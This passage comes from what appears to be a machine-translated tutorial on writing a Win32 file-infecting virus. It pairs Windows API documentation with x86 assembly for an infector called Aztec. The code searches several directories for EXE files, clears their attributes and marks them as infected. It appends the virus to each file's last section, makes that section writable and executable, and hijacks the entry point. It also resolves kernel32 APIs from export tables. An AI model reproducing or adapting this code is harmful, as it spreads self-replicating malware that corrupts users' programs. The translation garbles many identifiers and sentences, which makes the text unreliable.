For example, if the Windows directory is named in C; on the disk, the Windows directory returned by this function is C: / Windows. If; Windows is installed on the root directory of the C disk, the return path is C: /. ;? Usize: Specifies the maximum number of characters that are pointed by the LPBuffer parameter. This value should be set to at least; for MAS_PATH to specify enough space for the path. ; Return value; ======;;? If the function is successfully executed, the return value is the number of characters copied to the buffer, does not include NULL end. ;? If the length is larger than the size of the buffer, the return value will be required to save the path required by the buffer; size. ; ---;; The getSystemDirectory function is obtained by the Windows system directory, the system directory includes such as a Windows library; driver and font files. ; Uint getSystemDirectory (; lptstr lpbuffer, // save the buffer of the system directory; uint usize // directory buffer size;);;;; parameter; ====;;? Lpbuffer: pointing to accepting NULL A buffer containing a string of the path. This path is not in one; the back oblique line symbol ends unless the system directory is rooted. For example, if the system directory is called in the C disk; Windows / System, then the system directory path returned to C: / Windows / System. ;. USIZE: Specifies the maximum number of characters in the buffer. This value should be set to minimum max_path. ; Return value; ======;;? If the function is successful, the return value is copied to the number of characters in the buffer, does not include NULL end characters. If the length is greater than the size of the buffer, the return value is required for the size of the buffer that saves the path. ; ---;; The getCurrentDirectory function is the current directory of the current process.
Current process.;; DWORD NBUFFERLENTDIRECTORY (DWORD NBUFFERLENGTDIRECTORY (DWORD NBUFFERLENGTH, / / Directory Buffer Character Number; LPTSTSTR LPBuffer // Save the buffer address of the current directory;);;; parameter; ====;;? NbufferLength: Save the number of characters of the buffer of the current directory string. The length of the buffer must include; NULL characters. ;? Lpbuffer: Points the string of saving the current directory string buffer. This is saved in a string ending with NULL; is the absolute path of the current directory. ; Return value; ======;;? If the function is successfully executed, the returned value is the number of characters written to the buffer, does not include NULL characters. ; ------------------------------------------------- -------------------------- Infectitall: Lea EDI, [EBP DIRECTORES]; point to the first directory MOV BYTE PTR [EBP MIRRORMIRROR] , 03h; 3 directory Requiem: Push EDI; Set by EDI directory CALL [EBP _SETCURRENTDIRECTORYA] Push EDI; save EDI CALL INFECT; all files infected with selected directory Pop Edi; restore EDI Add EDI, 7FH; A directory dec BYTE PTR [EBP MIRRORMIRROR]; counter -1 jnz required; is it the last one? No, come back; ------------------------------------------- ------------------------------; We start what to make EDI points to the first directory in array, then we Set the directory we want to infection; number (DIRS2INF = 3). Ok, then we start the main loop. It includes the following: We change the directory to the current; the selected directory below, we infect all the files you want to infect, then we get another; a directory knows that we have completed the three directories we want to infect.
Simple, ah? :) This looks at the features of the setCurrentDirectory; this API function is characterized:;;;;, setcurrentdirectory, change the current directory for the current process. Bool setCurrentDirectory (; LPCTSTR LPPATHNAME // The name address of the current new directory;);;;; parameter; ====;;? Lppathname: point to a string ending with NULL characters, this string saves the current new directory ; first name. This parameter can be a relative path, or an absolute path. In each case, it is; the absolute path of the current directory is calculated and saved. ; Return the value; ======;;? If the function is successfully executed, the return is a non-0 value. ; ------------------------------------------------- -------------------------- Infect: and DWORD PTR [EBP Infections], 00000000H; Reset County Lea Eax, [EBP OFFSET WIN32_FIND_DATA] ; Find's shit structure push eax; Push it lea eax, [ebp offset EXE_MASK]; Mask to search for push eax; Push it call [ebp _FindFirstFileA]; Get first matching file inc eax; CMP EAX, 0FFFFFFFFh jz FailInfect; JZ Failinfect Dec Eax Mov DWord Ptr [EBP SearchHandle], EAX; Save The Search Handle; ------------------------------- --------------------------------------------; this is infected routine The first part. The first line is just to use an more optimized approach (which is set to 0). After the infection counter has been reset, it is a search; the file is infected;) OK, in DOS, we have an int 21h 4EH / 4FH service ... Now in Win32; medium, we have two equivalents API function: FindfirstFile and FindNextFile. Now we want; search the first file in the directory. There is a structure in all the functions of all Win32 (do you remember; DTA?) Is called Win32_Find_Data (many times the referms of WFD).
Let's take a look at the domain of this structure:;; Max_Path EQU 260 <- The maximum size of the path; Filetime Struc <- The structure of the processing time is in many Win32; ft_dwlowdatetime DD? FT_DWHIGHDATIME DD?; Filetime ENDS;; WIN32_FIND_DATA STRUC;? WFD_dwFileAttributes dd <- contains the attributes of the file; WFD_ftCreationTime FILETIME <- time file created;? WFD_ftLastAccessTime FILETIME <- the last file access time;? WFD_ftLastWriteTime FILETIME <- the final document? Modifying time; WFD_nfilesizehigh DD? <- The high position of the file; WFD_NFILESLOW DD? <- The low position of the file size; WFD_DWRESERVED0 DD? <- Reserved; WFD_DWRESERVED1 DD? <- Reserved; WFD_SZFILENAME DB MAX_PATH DUP (?) <- - ASCII form of file name; WFD_SzalternateFileName DB 13 DUP (?) <- Remove the file name of the path; DB 03 DUP (?) <- padding; win32_find_data ends; ;? dwfileAttributes: Decide the properties of the found file. This member can be a value of one or more [in; this is not listed here: You can find it in the 29A INC file (29A # 2) and the previous document;; ftcreationTIME: A FileTime structure contains the time created by the file. FindFirstFile; and FindNextFile report the time of the file in Coordinated Universal Time (UTC) format. If the file system contains the file does not support this time member, these two functions will set the FileTime membership; You can use the FileTimetolocalFileTime function to transform the UTC to the machine time, then transform this machine time into a systemTIME structure using the FileTimetosystemTIME function,; day, year, week, hours, minutes, seconds, and milliseconds. ; Ftlastaccesstime: Save a FileTime structure that contains the time of the file last accessed. This; time is a UTC form; if the file system does not support this time member, FileTime members are 0. ; Ftlastwrittime: Save a FileTime structure contains the final modification time of the file. Time is; UTC format; if the file system does not support this time member, FileTime members are 0. NFILESIGH: The high level of the DWORD type file is saved.
This value is 0 if the file size is larger than MaxdWord; The size of the file is equal to (NFILESIGHIGH * MAXDWORD) NFILESZELOW. ;? NFILESZELOW: The low level of the DWORD type file size is saved. DWRESERVED0: Reserved for future use. DWRESERVED1: Reserved for future use. ;; Cfilename: The string end of a NULL character is the name of the file. ;? CalternateFileName: A string ending with NULL is an optional name of the file. This name is the classical 8.3 (filename.ext) file name format. ;; When we know the domain of the WFD structure, we can "find" Windows function in a deeper layer. First of all; let's take a look at the FindfirstFilea this API:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;: Findfirstfilea; also check the sub-directory name. Handle FindfirstFile (; lpctstr lpfilename, // pointing to the file name to search; LPWIN32_FIND_DATA LPFILEDALEDATA / / point to return information;);;;; parameter; ====;;? LpFileName: A. Windows 95: Point to a NULL Designated a legal directory or path and; file name string, it can contain wildcards (* and?). This string cannot exceed; the number of max_path. ; "B. Windows NT: Point to a specified a legitimate directory or path to the NULL, the file name string, which does not contain wildcards (* and?). The path has a default character size limit MAX_PATH. This restriction depends on how the FindFirst function analyzes the path. An application can exceed this limit and can be called by calling the width (W) version of the FindFirstFile function; "//? /" To pass the path exceeding the max_path. "//? /" Tells the function shutdown path resolution; it makes the path long in max_path; can be used by the FindFirstFilew function. This can also be valid for UNC names. "//? /" Is part of the path; ignore it. For example, "//? / C: / myWorld / Private" is seen as "c: / myworld / private", and; "//? / Unc / bill_g_1 / hotstuff / coolapps" is seen "// bill_g_1 / hotstuff / COOLAPPS. ;? LpfindFileData: Points to the win32_find_data structure to accept files or directories about the found. This; the structure can reference files or subdirectories in the subsequent invoke FindNextFile or FindClose function.
; Return the value; =====;; If the function fails, the return value is invalid_handle_value. In order to obtain detailed error messages, calls; functions. , So, now you know all the parameters of the FindFirstFile function. Moreover, now you know the following code block; the last line is :); ------------------------------- ------------------------------------------__ 1: Push DWORD PTR [EBP Oldeip]; save OldEIP and Modbase, Push DWORD PTR [EBP MODBASE]; change Call Infection during infection; Pop DWORD PTR [EBP MODBASE] found by Infection; Restore Pop DWord PTR [EBP Oldeip] Inc Byte PTR [ EBP Infections]; Add counter CMP BYTE PTR [EBP Infections], 05H; exceeded limit? JZ Failinfect; damn ...; ---------------------------------------------------------------------------------------------------------------- -------------------------------------------------- ----- The first thing we did is to save some of the necessary variables, they are behind the control to control the main body; when used, these variables changed when infected files It is very painful. We call infection routines: it only; if you need WFD information, we don't have to pass parameters to it. After the relevant documents are infected, we will change the value. After that, we increase the infection counter and checked whether we had infected 5 files (this virus; infection restriction). If we have done those things, the virus exits from the infection function.
; ------------------------------------------------- --------------------------__ 2: Lea EDI, [EBP WFD_SZFILENAME]; Pointer MOV ECX, Max_Path; ECX = 260 XOR Al, Al; Al = 00 rep Stosb; Clear old file name variable Lea EAX, [EBP OFFSET WIN32_FIND_DATA]; pointing to WFD Push Push Eax; put it put it Push DWORD PTR [EBP SearchHandle]; Push Search Handle Call [EBP _FINDNEXTFILEA]; find another file or eax, eax; fail? jnz __1; no, infect another ClosSearchHandle: Push DWORD PTR [EBP SearchHandle]; Push search Handle Call [EBP _FindClose]; turn off it FailInfect : Ret; ------------------------------------------------ ----------------------------; the beginning part of the code block is a simple thing: it erases the WFD structure (check file Data in the name data. This is to avoid problems in order to find another file. Let's make a call; FindNextFile This API function. Below is a description of this API:;;; "The FindNextFile function continues to search for a file.
Bool FINDNEXTFILE (; handle to search; lpwin32_find_data lpfiledFileData // points to the structure of the data to be found;);;;; parameter; ====;;? Hfindfile: Identify by previous call FindfirstFile Search handle returned by the function. ;? LpfindFileData: Points a Win32_Find_Data structure to accept information about the file or subdirectories. This structure can be referenced to find files or directories while then calling FindNextFile. ; Return value; ======;;? If the function call is successful, the return value is a non-zero value. ;; If the function call is successful, the return value is 0. In order to obtain detailed error messages, Call GetLastError. If there is no matching file, the getLastError function returns ERROR_NO_MORE_FILES. If FindNextFile returns an error, or if the virus has reached the maximum number of files that may infect, we are here; the last piece of this routine. It consists of a search handle by the FindClose this API.
Among us, the following is the description of this API:;;;;;;;;;;;;;;;;;;;;;;;;; The FindFirstFile and the FindNextFile function use this; handle to locate the file with a given name. ;;;;;; Hfindfile: identify search handle. This handle must be opened by the FindFirstFile function. ; Return value; ======;;? If the function call is successful, the return value is non-0 value. If the function call fails, the return value is 0. In order to obtain detailed error messages, call getLastError;;; ------------------------------------- ------------------------------------- Infection: Lea ESI, [EBP WFD_SZFILENAME]; Infected file name Push 80h Push ESI CALL [EBP _SETFILEATTRIBUTESA]; Clear its attribute Call OpenFile; Open it Inc Eax; if eax = -1, there is an error JZ Cantopen Dec Eax Mov DWORD PTR [EBP FileHandle], EAX; ------------------------------------------------ ---------------------------; We first do it first to clear the properties of the file and set them to "normal file". This is achieved by setFileAttributes; this API is implemented.
The brief introduction to this API is given below:;; The setFileAttributes function sets the properties of a file. Bool setFileAttributes (; address; DWORD DWFileAttributes // The address of the attribute to be set;);;;; parameter; ====;;? LpFileName: Point to a file to modify the properties File name string. DWFileAttributes: Specify the properties of the file to be set. This parameter can be a combination of the following values. However, all other values beyond file_attribute_normal;; return value; ======;;? If the function call is successful, the return value is non-0 value. If the function call fails, the return value is 0. In order to obtain detailed error message, Call getLastError; after we set new file properties, we open the file, and if there is no error, it is saved to its variable.
; ------------------------------------------------- -------------------------- MOV ECX, DWORD PTR [EBP WFD_NFILESLOW]; First we create mapping Call CreateMap or Eax with its correct size , EAX JZ Closefile Mov DWORD PTR [EBP MAPHANDLE], EAX MOV ECX, DWORD PTR [EBP WFD_NFILESZELOW] CALL MAPFILE; mapping it or Eax, EAX JZ Unmapfile Mov DWORD PTR [EBP MAPADDRESS], EAX; ---- -------------------------------------------------- ---------------------; First we give ECX to the size of the file we plan to map, then we call our function to map it. We check possible errors, if there is no error, we continue, otherwise, we close the file. Then we; save the mapping handle and prepare to ultimately use the MapFile function to map it. It is also as before, we check the error, and decide the corresponding processing. If all are done, we save the address of the mapping. ; ------------------------------------------------- -------------------------- MOV ESI, [EAX 3CH] Add ESI, ESI] Cmp DWORD PTR [ESI], "EP"; it Is PE? JNZ NOINFECT CMP DWORD PTR [ESI 4CH], "CTZA"; Is it infected? JZ NOINFECT PUSH DWORD PTR [ESI 3CH] Push DWORD PTR [EBP MapAddress]; close all CALL [EBP _UnmapViewoffile] Push DWORD PTR [EBP MAPHANDLE] CALL [EBP _CLOSEHANDLE] POP ECX; -------------------------------------------------------------------------------------------------------------- --------------------------------------------; when we are in Eax Get the address of the start-map, we refreshed the pointer to the PE header (MapAddress 3ch), and then we standardize it, so we will get a pointer to the PE header in ESI. In short, we check if it is OK, so we check the PE signature. After that check, we checked whether the file was infected before infected (we saved a tag at PE; the offset address 4ch was saved, the program never used), if it did not, we continue the infection process. We save them, in the stack, the file is aligned (see the chapter of the pee).
And after that, we release the mapping, and turn off the mapping handle. Eventually we are aligned from the stack recovery file (file alignment), exist in the ECX register. ; ------------------------------------------------- -------------------------- MOV EAX, DWORD PTR [EBP WFD_NFILESLOW]; reproduce Add Eax, Virus_size Call Align Xchg ECX, EAX CALL CreateMap or eax, eax jz CloseFile mov dword ptr [ebp MapHandle], eax mov ecx, dword ptr [ebp NewSize] call MapFile or eax, eax jz UnMapFile mov dword ptr [ebp mapAddress], eax mov esi, [eax 3ch] Add esi, Eax; -------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------; When we are in ECX (prepare the 'align' function, because it needs in ECX In the alignment of the alignment, we; we; add the file size to EAX plus the virus size (Eax is the number of aligned), then we call the 'align' function, it returns to us in Eax Number. For example, if alignment is 200h, and the file size ; the virus size is 12345h, the 'align' function will return to our number will be 12400h. Then we put aligned numbers; save them to ECX. We call the createmap function again, but now we use the logs to map files. After this, we once again point ESI to the PE header.
; ------------------------------------------------- -------------------------- MOV EDI, ESI; EDI = ESI = PTR to PE Header Movzx Eax, Word PTR [EDI 06H]; AX = n? Of Sections Dec Eax; AX - Imul Eax, Eax, 28h; Eax = AX * 28 Add ESI, EX; Normalize Add ESI, 78H; Ptr To Dir Table Mov Edx, [EDI 74H]; EDX = N? of Dir Entries SHL EDX, 3; EDX = EDX * 8 Add ESI, EDX; ESI = Ptr To Last Section; ----------------------- -------------------------------------------------- -; First, we also point the EDI to the PE header. Then, we give the number of AX (the number of Word types) and make it; minus 1. Then we multiply the AX (N, Events - 1) by 28h (the size of the section), plus the offset address of the PE header. Make ESI; point to the catalog table, get the number of entry points in EDX. Then we multiply it by 8, finally (in EDX); add to ESI, so ESI will refer to the last section.
; ------------------------------------------------- -------------------------- MOV EAX, [EDI 28h]; get EP MOV DWORD PTR [EBP OLDEIP], EAX; save it MOV EAX, [EDI 34H]; IMAGEBASE MOV DWORD PTR [EBP MODBASE], EAX; save it MOV EDX, [ESI 10H]; EDX = SizeOfrawData Mov EBX, EDX; EBX = Edx Add Edx, [ESI 14h]; EDX = EDX POINTERTORAWDATA PUSH EDX; save EDX MOV EAX, EBX; EAX = EBX Add Eax, [ESI 0CH]; EAX = EAX VA address; EAX = New EIP MOV [EDI 28H], EAX; Change the new EIP MOV DWORD PTR [EBP NEWEIP], EAX; also saves it; ------------------------------- --------------------------------------------; First we give EAX We are infected with the EIP value, for the back Assign the old EIP to a variable, will be; virus (you will see) the beginning of it. We do the same as the base address. Then, we give the last section of EDX; SizeOfrawData assumed to EDX, then assign EDX, then we put Edx with PointertorawData (EDX; will use it when copying the virus, so we save it to the stack) . After that, we give SizeOfrawData to Eax, add it to the VA address: so we get the new EIP of the main body. So we save it in its PE header; in the domain, save it in another variable (see the beginning of virus).
; ------------------------------------------------- -------------------------- MOV EAX, [ESI 10H]; EAX = New SizeOfrawData Add Eax, Virus_Size; Eax = Eax Virussize MOV ECX, [EDI 3CH]; ECX = fileAlignment (file align) Call align; alignment! MOV [ESI 10h], ESI; new SizeOfrawData MOV [ESI 08H], ED; New VirtualSize Pop Edx; EDX = Pointing the original pointer MOV EAX, [ESI 10h]; EAX = new SizeOfrawData Add Eax, [ESI 0CH]; EAX = EAX VirtualAddress MOV [EDI 50H], EAX; EAX = New SizeOfImage or DWord PTR [ESI 24H], 0A0000020H; Set new festival sign; --------------------------------- ----------------------------------------; OK, we do the first thing Is the SizeOfra in the last section WDATA is loaded into EAX and then the size of the virus; plus it. In ECX, we load fileAlignment, we call 'align' functions, so in Eax, we will get SizeOfrawData Virussize behind the alignment. Let's take a look at a small example:;; sizeofrawdata - 1234h; Virussize - 400h; FileAlignment - 200h ;; SINEOFRAWDATA VIRUSSIZE will be 1634, which will be 1800 hours after the value is aligned.
Simple, ha?; So we set the aligned value to the new SizeOfrawData and as a new Virtualsize, after we do; there will be no problem, we calculate new SizeOfImage, that is, new SizeOfrawData and Virtualaddress; with. After calculating this, we save it into the SizeOfimage domain of the PE header (offset 50H). Then, we press the properties of the section as follows:; 00000020H - section includes code; 40000000H - Section readable; 80000000H - Section can be written; OR, the result will be A0000020H. Therefore, we also have to carry out the current attribute value of him and the section, so we don't have to delete the old: just add them. ; ------------------------------------------------- -------------------------- MOV DWORD PTR [EDI 4CH], "CTZA"; set infection logo LEA ESI, [EBP AZTEC] ESI = pointing to Virus_Start pointer XCHG EDI, EDX; EDI = pointing to the pointer to the last section; Add Edi, DWORD PTR [EBP MAPADDRESS]; EDI = Standardized Pointer MOV ECX, Virus_Size; ECX = To copy the size of the REP Movsb; do it! JMP unmapfile; release mapping, close, and so on.; --------------------------------------------------------- ------------------------------------------; In order to avoid repeating the infected documents, we now The first thing to do is to set the logo of infection in the PE header (offset; 4ch is reserved). Then, a pointer to the beginning of the virus is placed in the ESI. After we assumed the value of EDX to ESI; (remember: edx = old SizeOfrawData PointertorawData), that is, we place viral code; RVA. As I have already said, it is a RVA, this must be aware;) RVA must be converted to VA, which is achieved by adding the RVA plus relative value ... so it and the address of the mapping file ( If you still remember, it is; it is related to the MapViewoffile this API. Therefore, finally, in EDI, we get the write viral code; VA. In ECX, we are loaded into the size of the virus and copy it.
All is done! :) Now we close all ...; ---------------------------------- ---------------------------------------- NOINFECT: DEC BYTE PTR [EBP INFECTIONS ] MOV ECX, DWORD PTR [EBP WFD_NFILESZELOW] Call Truncfile; -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------; if there is any mistake occurs when infection We have arrived at this place. We reduce the infected counter 1, put the file; cut the size before infection. I hope our viruse will not reach this place :); ----------------------------------- -------------------------------------- Unmapfile: Push DWORD PTR [EBP MAPADDRESS]; close mapped address call [ebp _UnmapViewOfFile] CloseMap: push dword ptr [ebp MapHandle]; Close mapping call [ebp _CloseHandle] CloseFile: push dword ptr [ebp FileHandle]; close file call [ebp _CloseHandle] CantOpen: push DWORD PTR [EBP WFD_DWFILEATTRIBUTES] Lea Eax, [EBP WFD_SZFILENAME]; Setting the original file Push Eax Call [EBP _SETFILEATTRIBUTESA] RET; ------------------ -------------------------------------------------- ------- This piece of code focuses on all things that open when infected: mapping addresses, map itself, files, then put it; the original property settings. Let's take a look at the API used here:;; UNMAPVIEWOFFile function Releases the mapping of the file from the address space of the calling process.
;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; This value must be previously called MapViewOffile; or the value returned by the MapViewOffileEx function. ; Return value; =====;;? If the function call is successful, the return value is non-0 value, and the page within all specified range will flag "lazily". If the function call fails, the return value is 0. To get detailed error message, call the getLastError function. ; ---;; ;; closehandle function Close a handle of an open object. ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Return value; ======;;? If the function call is successful, the return value is non-0 value. ;? If the function call fails, the return value is 0. Want to get a detailed error message, call getLastError.
;; ------------------------------------------------ --------------------------- getk32 proc_ @ 1: CMP Word Ptr [ESI], "ZM" JZ Weigotk32_ @ 2: SUB ESI, 10000h loop _ @ 1WeFailed: mov ecx, cs xor cl, cl jecxz WeAreInWNT mov esi, kernel_ jmp WeGotK32WeAreInWNT: mov esi, kernel_wNTWeGotK32: xchg eax, esi retGetK32 endpGetAPIs proc @@ 1: push esi push edi call GetAPI pop edi pop esi stosd Xchg EDI, ESI XOR Al, Al @@ 2: scasb jnz @@ 2 xchg EDI, ESI @@ 3: CMP Byte Ptr [ESI], 0BBH JNZ @@ 1 RetGetapis EndpGetapi Proc Mov Edx, ESI MOV EDI, ESI XOR AL , al @ _1: scaSB jnz @ _1 sub eDI, ESI; EDI = API name size MOV ECX, EDI XOR EAX, EAX MOV ESI, 3CH ADD ESI, [EBP KERNEL] LODSW Add Eax, [EBP KERNEL] MOV ESI, [EAX 78H] Add ESI, 1CH Add ESI, [EBP KERNEL] Lea EDI, [EBP AddResStableva] Lodsd Add Eax, [EBP KERNEL] Stosd Lodsd Add Eax, [EBP KERNEL] Push Eax; MOV [NameTableva], EAX = Stosd Lodsd Add Eax, [EBP KERNEL] Stosd Pop ESI XOR EBX, EBX @ _3: Lodsd Push ESI Add Eax, [EBP
KERNEL] MOV ESI, ESI EDI, EDX PUSH ECX CLD Rep CMPSB POP ECX JZ @ _4 Pop ESI Inc EBX JMP @ _3 @ _4: POP ESI XCHG EAX, EBX SHL EAX, 1 Add Eax, DWORD PTR [EBP OrdinalTableva] XOR ESI, ESI XCHG EAX, ESI Lodsw SHL EAX, 2 Add Eax, DWORD PTR [EBP AddresStableva] MOV ESI, EAX LODSD ADD EAX, [EBP KERNEL] RETGETAPI ENDP; ----------- -------------------------------------------------- -------------- All the code above has been seen before, here is a little optimization, so you can look at your own use; how to do it. ; ------------------------------------------------- --------------------------; Enter:; EAX - Aligned value; ECX - Alignment; Output:; EAX - Align Align Proc Push Edx Xor Edx, EDX PUSH EAX DIV ECX Pop Eax Sub ECX, EDX ADD EAX, ECX POP Edx Retalign Endp; ------------------------- -------------------------------------------------- This function is a very important thing to perform in PE infection: align the numbers and specified factors. If you are not; a D0RK, you don't have to ask me how it works.
(Fuck, have you learned?); --------------------------------------- ------------------------------------; Enter:; ECX - The file to be cut; no .TruncFile proc xor eax, eax push eax push eax push ecx push dword ptr [ebp FileHandle] call [ebp _SetFilePointer] push dword ptr [ebp FileHandle] call [ebp _SetEndOfFile] retTruncFile endp; ----- -------------------------------------------------- --------------------; SetFilePointer makes the file pointer to an open file. DWORD setFilepointer (; "long ldistancetomove, // Need to move the number of bytes of file pointer; Plong LPDistanceTomoveHigh, // To move the distance from the high word; DWORD dwmovemethod // How to move;) ;;; Parameter; ====;;? HFile: Refers to the file that needs to move the file pointer. This file handle must be created with generic_read or generic_write; ;? Ldistancetomove: Refers to the number of bytes to move the file pointer. A positive value indicates that the pointer moves forward, and a negative; value indicates that the file pointer moves backward. ;? LpdistanceTomovehigh: points to the high word of 64-bit distances. If the value of this parameter is null, setfilepointer; can only operate up to 2 ^ 32 - 2 files. If this parameter is specified, the maximum file size is 2 ^ 64 - 2. This parameter also acquires the high-bit value of the new file pointer. ;? Dwmovemethod: Indicates the beginning of the file pointer movement.
This parameter can be a value below; the value method ;; file_begin - the start point is 0 or the file start. If File_Begin is specified, distanceomove; is understood as the location of the new file pointer. File_Current - The value of the current file pointer is the start point. ; File_end - The current file is the beginning. Return value; ======;; Give a long integer pointing by that paragraph; number pointing. ;? If the function call failed and lpdistanceTomoveHigh is NULL, the return value is 0xffffffFFF. Want; get detailed error message, call the getLastError function. If the function fails, and LPDistanceTomoveHigh is non-Null, the return value is 0xfffffffff, and the getLastError will return a value without NO_ERROR. ; ---;; SETENDOFFile function Moves the end-of-file (eof) position of the specified file to the current location of the file pointer. (;;;;;; Hfile:);;;; hfile: indicating file where you want to move the EOF location.
This handle must be a generic_write access to a file method; created. ; Return; ====;;? If the function call is successful, the return value is non-zero; • If the function call fails, the return value is 0. Want to know the detailed error message, call the getLastError function. ;;; ----------------------------------------------- ----------------------------; Enter:; ESI - Point to the name of the file to be opened; output:; EAX - if success is The handle of the file.
OpenFile Proc XOR EAX PUSH 00000003H Push Eax Push 00000003H PUSH EAX INC EAX PUSH EAX PUSH 80000000H OR 40000000H Push ESI CALL [EBP _CREATEFILEA] RETOPENFILE ENDP; ----------------- -------------------------------------------------- --------; CreateFile function creation or open the following object, and return a handle that can access this object:; file (we only interested this); Pipe; mailslots; Communications Resources ; Disk Devices (Windows NT Only); Consoles; Directories (Open ONLY); ; HANDLE CreateFile (; LPCTSTR lpFileName, // point to the file name; DWORD dwDesiredAccess, // access (read - write) mode; DWORD dwShareMode, // share mode; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // point to secure property; DWORD dwCreationDistribution, // How to create; DWORD dwflagsandattributes, // file properties; handle HTemplateFile // The handle of the file to be copied;);;;;
; Lpfilename: Point to a string ending with NULL, this string specifies the name of the object to be created or opened (file, pipe, postlock, communication resources, disk devices, console, or directory) name. If * lpfilename is a path, there is a default path character number of max_path number restrictions, and this restriction is related to how the CreateFile function parsing the path. ;; DwdesiredAccess: Refers to the type of object accessed. An application can get read access, write access, read - write; access, or device query access. ;? DWSHAREMODE: Set some flags to specify how objects are shared. If DWSHAREMODE is 0, this object; it is not a relationship. Then the opening operation of this object will fail until the handle is turned off. ;? Lpsecurityattributes: Points to a Security_Attributes structure to determine the returned handle is; no can inherit from sub-process. If LPSecurityAttributes is NULL, the handle cannot be inherited. DWCREATIONDISTRIBUTION: What kind of action is not known to the file, and unknown action. DWFlagsandAttributes: The properties and flags of the file. ;; Htemplatefile: refers to the handle of a template file with Generic_ReadAccess. This template file is available when the file is created, providing the file properties and extension properties. Windows 95: This value must be NULL. If you; provide a handle under Windows 95, this call will fail and get the getLastError returns; error_not_supported. ; Return value; ======;;? If the function is successful, the return value is a handle of an open specified file. If the specified file is pronounced in the function call; when and dwcreationdistribution is CREATE_ALWAYS or OPEN_ALWAYS, a call; the getLastError function returns ERROR_ALREADY_EXISTS (even the function is successful). If the file is in; the call does not exist, getLastError will return 0.
If the function fails, the return value is invalid_handle_value. In order to obtain an error message of information, Call GetLastError. ; ------------------------------------------------- --------------------------; Enter:; ECX - Mapping size; Output:; EAX - If successful is a map handle CreateMap Proc Xor EAX, EAX PUSH EAX PUSH ECX PUSH EAX PUSH 00000004H Push EAX PUSH DWORD PTR [EBP FileHandle] CALL [EBP _CREATEFILEMAPPINGA] RETCREATEMAP ENDP; -------------------------------------------------------------------------------------- -------------------------------------------------- ---; CreateFilemapping function creates a named or unnamed file mapping object for the specified file. Handle CreateFilemapping (; Handle Hfile, // Handle to map file; lpsecurity_attributes lpfilemappingattributes, // Optional security attribute; DWORD flprotect, // is a mapping object protection; DWORD dwmaximumsizehigh, // 32-bit object size; DWORD DWMAXIMUMSIZELOW, // 32-bit object size low; lpctstr lpname // file mapping object's name;); ;; parameter; ====;;;? Hfile: refers to which file creates a mapping object. This file must be opened in association with the included flag specified by the flprotect parameter; Zone-compatible access mode. It is recommended that although it is not a must, the document you plan to map should be hit by exclusive ways; If HFILE is (Handle) 0xffffFFFF, the calling process must also specify the size of the mapping object in dwmaximumsizehigh and; dwmaximumsizelow parameters. This function is a page file of the operating system; instead of named the named file in the file system to create a file mapping object specifying the size. File mapping objects; can be shared by copying, inheriting, or naming. ; LpfilemappingAttributes: Point to a security_attributes structure, determine the returned handle is; No can be inherited by the sub-process. If lpfilemappingattribute is null, the handle cannot be inherited. ;; Flprotect: Specifies the protection of files required when the file is mapped.
;? Dwmaximumsizehigh: Specifies the 32-bit maximum size of the file mapping object. ;; Dwmaximumsizelow: Specifies the low position of the 32-bit maximum size of the file mapping object. If this parameter is and; dwmaximumsizehig is 0, then the maximum size of the file mapping object is equal to the file with HFile definite; the current size. ;; Lpname: Points a string of NULL to specify the name of the mapping object. This name can contain all characters except against the reverse; oblique line symbol (/). If this parameter is the same as the name of the already named map object, this function request is accessed by flprotect; specified protection. If the parameter is NULL, the mapping object does not create it. ; Return the value; ======;;? If the function is successful, the return value is a handle of a file mapping object. If the object has been called before calling; there is, the getLastError function will return error_already_exists, and the return value is a legally handle that the existing file mapping object (by the current size, not a new specified size). If the map is mapped; the object does not exist, getLastError returns 0. If the function fails, the return value is NULL. Want to know the detailed error message, call the getLastError function. ; ------------------------------------------------- --------------------------; Input:; ECX - Size to Map; Output:; Eax - MapAddress if SuccesfulmapFile Proc xor Eax, EAX PUSH ECX PUSH EAX PUSH EAX PUSH 00000002H Push DWORD PTR [EBP MAPHANDLE] CALL [EBP _MAPVIEWOFFILE] RETMAPFILE ENDP; ------------------------------------------------------------------------------------------------------------------ -------------------------------------; The MapViewOffile function maps a file view to the address space of the calling process.
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; The low level of the address; DWORD DWNUMBEROFBYTOMAP // The number of bytes to be mapped;);;;;; parameter; ====;;; hfilemappingObject: Specify a handle of an open file mapping object. CreateFilemapping and; the OpenFileMapping function returns this handle. ; DWDesiredAccess: Refers to the type of access to the file view, and the protection of the page is mapped by this file. DWFileOffSethigh: The high 32 bits of the offset address started by the map. ;? Dwfileoffsetlow: The offset address of the map starts is 32 bits. Dwnumberofbytestomap: Number of bytes of file mapping. If dwnumberofbytestomap is 0, the entire file will be mapped. ; Return value; ======;;? If the function call is successful, the return value is the address starting with the map view. If the function call fails, the return value is NULL. Want to know the detailed error message, call GetLastError.
